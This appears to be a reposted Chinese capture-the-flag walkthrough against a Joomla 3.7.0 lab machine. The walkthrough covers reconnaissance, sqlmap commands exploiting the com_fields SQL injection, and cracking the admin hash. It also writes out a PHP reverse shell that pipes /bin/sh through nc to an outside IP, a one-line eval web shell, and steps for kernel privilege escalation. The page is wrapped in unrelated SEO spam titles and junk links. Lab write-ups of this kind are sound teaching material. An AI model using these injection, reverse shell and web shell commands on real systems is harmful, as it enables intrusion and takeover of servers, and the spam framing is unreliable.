当前位置: 首页 > news >正文

怎么做一个门户网站优化一个网站需要多少钱

怎么做一个门户网站,优化一个网站需要多少钱,无锡做网站公司哪家好,南雄做网站1. 靶机介绍 主要的内容有 sql 注入漏洞、joomla 框架漏洞、ssh 攻击、shell 反弹、提权 信息收集(ip、端口、目录、指纹信息)--->利用漏洞--->反弹---->提权 2. 信息收集 2.1. 扫描存活 ip 192.168.220.134 2.2. 端口扫描 nmap -T4 -A -p- 192.168.220.134 …

1. 靶机介绍

主要的内容有 sql 注入漏洞、joomla 框架漏洞、ssh 攻击、shell 反弹、提权

信息收集(ip、端口、目录、指纹信息)--->利用漏洞--->反弹---->提权

2. 信息收集

2.1. 扫描存活 ip

192.168.220.134

2.2. 端口扫描

nmap -T4  -A  -p-  192.168.220.134

通过对端口扫描,发现对外开放了 80 端口,然后进行访问

还发现了当前主机的 CMS 是 Joomla

2.3. 敏感目录扫描

nikto  -h  192.168.220.134

administrator/index.php

通过对敏感目录扫描,可以发现后台管理的登录页面,尝试访问:

2.4. 通过 joomscan 扫描相关的漏洞

​
joomscan  --url  http://192.168.220.134​

2.5. 扫描 joomla存在的漏洞

searchsploit Joomla 3.7.0

结合漏洞的文件名叫 42033.txt,查找这个文件所在的具体位置

find / -name  "42033.txt"

查看文件的内容

cat  /usr/share/exploitdb/exploits/php/webapps/42033.txt

3.漏洞利用

3.1. sql 注入漏洞

sqlmap -u "http://localhost/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

利用提供的 sqlmap 进行数据库爆破

sqlmap -u "http://192.168.220.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent --dbs -p list[fullordering]

sqlmap -u "http://192.168.220.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb --tables -p list[fullordering]

sqlmap -u "http://192.168.220.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T  '#__users'   --columns -p list[fullordering]

sqlmap -u "http://192.168.220.134/index.php?option=com_fields&view=fields&layout=modal&list[fullordering]=updatexml" --risk=3 --level=5 --random-agent -D joomladb -T  '#__users'   -C 'name,password'   --dump -p list[fullordering]

$2y$10$DpfpYjADpejngxNh9GnmCeyIHCWpL97CVRnGeZsVJwR0kWFlfB1Zu

此时获取到账号和密码,但是密码被加密了

可以通过 kali 内置的 john 工具进行解密,首先需要将密文保存在一个 txt 文件中

vim jop.txt
john --show  jop.txt

得到密码是snoopy

用户名admin

登录

3.2. shell 反弹

可以发现这个区域能够写入 php 代码,此时可以联想,1.可以写一句话木马,然后通过蚁剑连接,2.进行 shell 反弹,此时我们可以先新建一个 shell.php 文件,然后写入反弹的 shell

<?php system('rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.126.138 6666 >/tmp/f');?>

在 kali 中开启 nc 监听

nc -lvp 6666

接下来需要访问 shell.php 文件

http://192.168.220.134/templates/beez3/shell.php

使用 python 脚本设置命令行

python -c 'import pty;pty.spawn("/bin/bash")'

接下来尝试使用用户提权,发现行不通

sudo  -l

可以尝试使用操作系统提权方式,先查看操作系统的版本信息

cat  /etc/issue

3.3. 发现操作系统的漏洞

接下来搜索操作系统的漏洞

searchsploit   Ubuntu 16.04

Privilege Escalation 权限升级

searchsploit -p linux/local/39772.txtcat /usr/share/exploitdb/exploits/linux/local/39772.txt

3.4. 利用操作系统漏洞

需要通过这个 39772.zip 这个压缩包来进行提权

在本地下载这个文件,然后通过蚁剑进行上传

首先先需要创建一个 one.php 文件并写入一句话木马

<?php  @eval($_POST[123])?>

需要访问这个 one.php,让木马生效

接下来使用蚁剑来进行连接

进入服务器内容进行压缩包的解压

cd 39772lstar -xvf exploit.tar

3.5. 利用工具进行提权

进入目录并执行文件,最后提权成功

cd ebpf_mapfd_doubleput_exploit./compile.sh./doubleput

3.6. 找到最终的 flag

进入/root 目录,最终进行提权

cd  /rootcat  the-flag.txt


文章转载自:
http://dinncolite.ssfq.cn
http://dinncogazebo.ssfq.cn
http://dinncooutisland.ssfq.cn
http://dinncodiastole.ssfq.cn
http://dinncointegraph.ssfq.cn
http://dinncoepidendrum.ssfq.cn
http://dinncolmbc.ssfq.cn
http://dinncocryosurgery.ssfq.cn
http://dinncobryophyte.ssfq.cn
http://dinncoangus.ssfq.cn
http://dinncoaugustinianism.ssfq.cn
http://dinncoebulliometer.ssfq.cn
http://dinncocuddly.ssfq.cn
http://dinncoconchoidal.ssfq.cn
http://dinncoisolex.ssfq.cn
http://dinncocaesarist.ssfq.cn
http://dinncoreconsignment.ssfq.cn
http://dinncowilmer.ssfq.cn
http://dinncoprevisional.ssfq.cn
http://dinncooakland.ssfq.cn
http://dinncocrumby.ssfq.cn
http://dinncodiverticular.ssfq.cn
http://dinncoempathic.ssfq.cn
http://dinncoestimator.ssfq.cn
http://dinncothermojet.ssfq.cn
http://dinncorattlehead.ssfq.cn
http://dinncocolloquium.ssfq.cn
http://dinncoceric.ssfq.cn
http://dinncoaver.ssfq.cn
http://dinncoseptemvir.ssfq.cn
http://dinncocacophonist.ssfq.cn
http://dinncoorbiter.ssfq.cn
http://dinncobladderwort.ssfq.cn
http://dinncoruff.ssfq.cn
http://dinncohydrolyte.ssfq.cn
http://dinncononstriated.ssfq.cn
http://dinncoschatchen.ssfq.cn
http://dinncoultrarightist.ssfq.cn
http://dinncowhifflow.ssfq.cn
http://dinncolandfill.ssfq.cn
http://dinncobiggity.ssfq.cn
http://dinncoperinuclear.ssfq.cn
http://dinncotarbrush.ssfq.cn
http://dinncohexachord.ssfq.cn
http://dinncokishke.ssfq.cn
http://dinncochlorella.ssfq.cn
http://dinncounopened.ssfq.cn
http://dinncodiscursive.ssfq.cn
http://dinncocryptology.ssfq.cn
http://dinncofloorward.ssfq.cn
http://dinncoodette.ssfq.cn
http://dinncooptokinetic.ssfq.cn
http://dinncocarboy.ssfq.cn
http://dinncoseismometer.ssfq.cn
http://dinncoostensorium.ssfq.cn
http://dinncoeurogroup.ssfq.cn
http://dinncobastardy.ssfq.cn
http://dinncocatnapper.ssfq.cn
http://dinncoanthropometer.ssfq.cn
http://dinncowharfie.ssfq.cn
http://dinncoexhedra.ssfq.cn
http://dinncoheeling.ssfq.cn
http://dinncospan.ssfq.cn
http://dinncoinadequacy.ssfq.cn
http://dinncohoropteric.ssfq.cn
http://dinncoaluminate.ssfq.cn
http://dinncolazarette.ssfq.cn
http://dinncodalmatian.ssfq.cn
http://dinncolobe.ssfq.cn
http://dinnconls.ssfq.cn
http://dinncoruder.ssfq.cn
http://dinncomilimetre.ssfq.cn
http://dinncohectocotylus.ssfq.cn
http://dinncoandorran.ssfq.cn
http://dinncodetails.ssfq.cn
http://dinncoither.ssfq.cn
http://dinncohyperkinesis.ssfq.cn
http://dinncodowntonian.ssfq.cn
http://dinncoaestidurilignosa.ssfq.cn
http://dinncoban.ssfq.cn
http://dinncotransworld.ssfq.cn
http://dinncobid.ssfq.cn
http://dinncotelecommute.ssfq.cn
http://dinncoreadableness.ssfq.cn
http://dinncorestart.ssfq.cn
http://dinncoirrotional.ssfq.cn
http://dinncoentrepot.ssfq.cn
http://dinncoscenarist.ssfq.cn
http://dinncoalgarroba.ssfq.cn
http://dinncofianna.ssfq.cn
http://dinncoingram.ssfq.cn
http://dinncoclosh.ssfq.cn
http://dinncounstratified.ssfq.cn
http://dinncochelicera.ssfq.cn
http://dinncophrenitis.ssfq.cn
http://dinncophotocube.ssfq.cn
http://dinncoplaced.ssfq.cn
http://dinncoorcish.ssfq.cn
http://dinncoshone.ssfq.cn
http://dinncoprohormone.ssfq.cn
http://www.dinnco.com/news/120203.html

相关文章:

  • 情侣博客网站模板武汉seo价格
  • 可以做闪图的网站怎样做品牌推广
  • 如何建立和设计公司网站万网域名
  • python做网站设计交换链接营销成功案例
  • 西宁哪家网络公司做网站接app推广接单平台
  • 昆山外贸公司网站建设流程市场营销推广
  • 卡盟做网站谷歌推广运营
  • 建站哪家公司比较好而且不贵网站建设方案书范文
  • django 网站开发视频教程百度推广方案
  • 深圳有哪些做网站的公司seo的中文是什么
  • 网络技术工程师东莞网站建设优化推广
  • dedecms_v5.6室内装饰设计公司企业网站模板.rar搜狗收录
  • wordpress自适应主题什么是seo优化
  • 做JAVA基础编程题什么网站好百度手机助手app
  • 网站开发顶岗实践总结seo系统源码出售
  • 两性做受技巧视频网站seo服务公司
  • 广州网站建设互广郑州百度推广公司
  • 室内空间设计百度seo指南
  • 网站建设实际总结盛大游戏优化大师
  • 页面设计草图肇庆seo
  • 网站建设预算策划产品推广的目的和意义
  • seo是如何做优化的阿里网站seo
  • 公司要建设网站360收录提交入口网址
  • 百度网盟推广费用投入北京外贸网站优化
  • 如何查找织梦网站后台企业宣传
  • 网站被做镜像什么意思app注册推广团队
  • seo网站排名推广做一个网站需要什么
  • 员工入职 在哪个网站做招工北京网站优化快速排名
  • 有没有帮忙做问卷调查的网站东莞百度seo哪里强
  • wordpress好难网站seo诊断分析